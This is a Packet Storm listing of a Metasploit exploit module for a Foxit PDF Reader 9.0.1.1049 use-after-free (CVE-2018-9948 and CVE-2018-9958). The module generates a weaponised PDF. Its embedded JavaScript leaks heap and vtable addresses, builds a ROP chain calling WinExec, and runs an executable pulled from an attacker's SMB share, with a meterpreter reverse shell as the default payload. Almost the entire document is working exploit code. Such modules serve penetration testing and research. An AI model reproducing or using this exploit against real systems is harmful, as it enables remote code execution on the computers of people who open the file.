Lucene search

K
packetstormMr_mePACKETSTORM:149073
HistoryAug 24, 2018 - 12:00 a.m.

Foxit PDF Reader 9.0.1.1049 Pointer Overwrite Use-After-Free

2018-08-2400:00:00
mr_me
packetstormsecurity.com
212

0.815 High

EPSS

Percentile

98.4%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Foxit PDF Reader Pointer Overwrite UAF',  
'Description' => %q{  
Foxit PDF Reader v9.0.1.1049 has a Use-After-Free vulnerability  
in the Text Annotations component and the TypedArray's use  
uninitialized pointers.  
  
The vulnerabilities can be combined to leak a vtable memory address,  
which can be adjusted to point to the base address of the executable.  
A ROP chain can be constructed that will execute when Foxit Reader  
performs the UAF.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'mr_me', # Use-after-free and PoC  
'bit from meepwn', # Uninitialized pointer  
'saelo', # JavaScript Garbage Collector  
'Jacob Robles' # Metasploit Module  
],  
'References' =>  
[  
['CVE', '2018-9948'],  
['CVE', '2018-9958'],  
['ZDI', '18-332'],  
['ZDI', '18-342'],  
['URL', 'https://srcincite.io/blog/2018/06/22/foxes-among-us-foxit-reader-vulnerability-discovery-and-exploitation.html'],  
['URL', 'https://srcincite.io/pocs/cve-2018-9958.pdf.txt']  
],  
'DefaultOptions' =>  
{  
'DisablePayloadHandler' => true,  
'FILENAME' => 'test.pdf',  
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'  
},  
'Platform' => 'win',  
'Targets' =>  
[  
['Windows 10 Pro x64 Build 17134', {}]  
],  
'DisclosureDate' => 'Apr 20 2018',  
'DefaultTarget' => 0))  
  
register_options([  
OptString.new('EXENAME', [false, 'EXE file to download', '']),  
OptString.new('SHARE', [false, 'SMB share hosting exe', ''])  
])  
end  
  
def pdfdoc  
share = datastore['SHARE'].empty? ? "#{Rex::Text.rand_text_alpha_lower(1)}" : datastore['SHARE']  
fname = datastore['EXENAME'].empty? ? "#{Rex::Text.rand_text_alpha_lower(1)}.exe" : datastore['EXENAME']  
fname << '.exe' unless fname.ends_with?('.exe')  
  
share_path = "\\\\#{datastore['LHOST']}\\#{share}\\#{fname}"  
num = 4 - (share_path.length % 4)  
share_path << "\x00"*num  
return nil if share_path.length > 44  
  
print_status("share_path: #{share_path}")  
  
rop = ''  
max_index = 0  
share_path.unpack('V*').each_with_index {|blk, index|  
rop << "\nrop[0x%02x] = 0x%08x" % [index+12, blk]  
max_index = index  
}  
  
(max_index+1).upto(10) {|i| rop << "\nrop[0x%02x] = 0x00000000" % (i+12)}  
  
<<~PDFDOC  
%PDF  
1 0 obj  
<</Pages 1 0 R /OpenAction 2 0 R>>  
2 0 obj  
<</S /JavaScript /JS (  
  
var heap_ptr = 0;  
var foxit_base = 0;  
var pwn_array = [];  
  
function prepare_heap(size){  
var arr = new Array(size);  
for(var i = 0; i < size; i++){  
arr[i] = this.addAnnot({type: "Text"});;  
if (typeof arr[i] == "object"){  
arr[i].destroy();  
}  
}  
}  
  
function gc() {  
const maxMallocBytes = 128 * 0x100000;  
for (var i = 0; i < 3; i++) {  
var x = new ArrayBuffer(maxMallocBytes);  
}  
}  
  
function alloc_at_leak(){  
for (var i = 0; i < 0x64; i++){  
pwn_array[i] = new Int32Array(new ArrayBuffer(0x40));  
}  
}  
  
function control_memory(){  
for (var i = 0; i < 0x64; i++){  
for (var j = 0; j < pwn_array[i].length; j++){  
pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4  
}  
}  
}  
  
function leak_vtable(){  
var a = this.addAnnot({type: "Text"});  
  
a.destroy();  
gc();  
  
prepare_heap(0x400);  
var test = new ArrayBuffer(0x60);  
var stolen = new Int32Array(test);  
  
var leaked = stolen[0] & 0xffff0000;  
foxit_base = leaked - 0x01f50000;  
}  
  
function leak_heap_chunk(){  
var a = this.addAnnot({type: "Text"});  
a.destroy();  
prepare_heap(0x400);  
  
var test = new ArrayBuffer(0x60);  
var stolen = new Int32Array(test);  
  
alloc_at_leak();  
heap_ptr = stolen[1];  
}  
  
function reclaim(){  
var arr = new Array(0x10);  
for (var i = 0; i < arr.length; i++) {  
arr[i] = new ArrayBuffer(0x60);  
var rop = new Int32Array(arr[i]);  
  
rop[0x00] = heap_ptr; // pointer to our stack pivot from the TypedArray leak  
rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret  
rop[0x02] = 0x72727272; // junk  
rop[0x03] = foxit_base + 0x00001450 // pop ebp; ret  
rop[0x04] = 0xffffffff; // ret of WinExec  
rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret  
rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec  
rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret  
rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret  
rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret  
rop[0x0a] = foxit_base + 0x0041c6ca; // ret  
rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret  
#{rop}  
rop[0x17] = 0x00000000; // adios, amigo  
}  
}  
  
function trigger_uaf(){  
var that = this;  
var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});  
var arr = [1];  
Object.defineProperties(arr,{  
"0":{  
get: function () {  
  
that.getAnnot(0, "uaf").destroy();  
  
reclaim();  
return 1;  
}  
}  
});  
  
a.point = arr;  
}  
  
function main(){  
leak_heap_chunk();  
leak_vtable();  
control_memory();  
trigger_uaf();  
}  
  
if (app.platform == "WIN"){  
if (app.isFoxit == "Foxit Reader"){  
if (app.appFoxitVersion == "9.0.1.1049"){  
main();  
}  
}  
}  
  
)>> trailer <</Root 1 0 R>>  
PDFDOC  
end  
  
def exploit  
mypdf = pdfdoc  
if mypdf.nil?  
fail_with(Failure::BadConfig, 'The generated share path was greater than 44 bytes.')  
end  
file_create(mypdf)  
end  
end  
`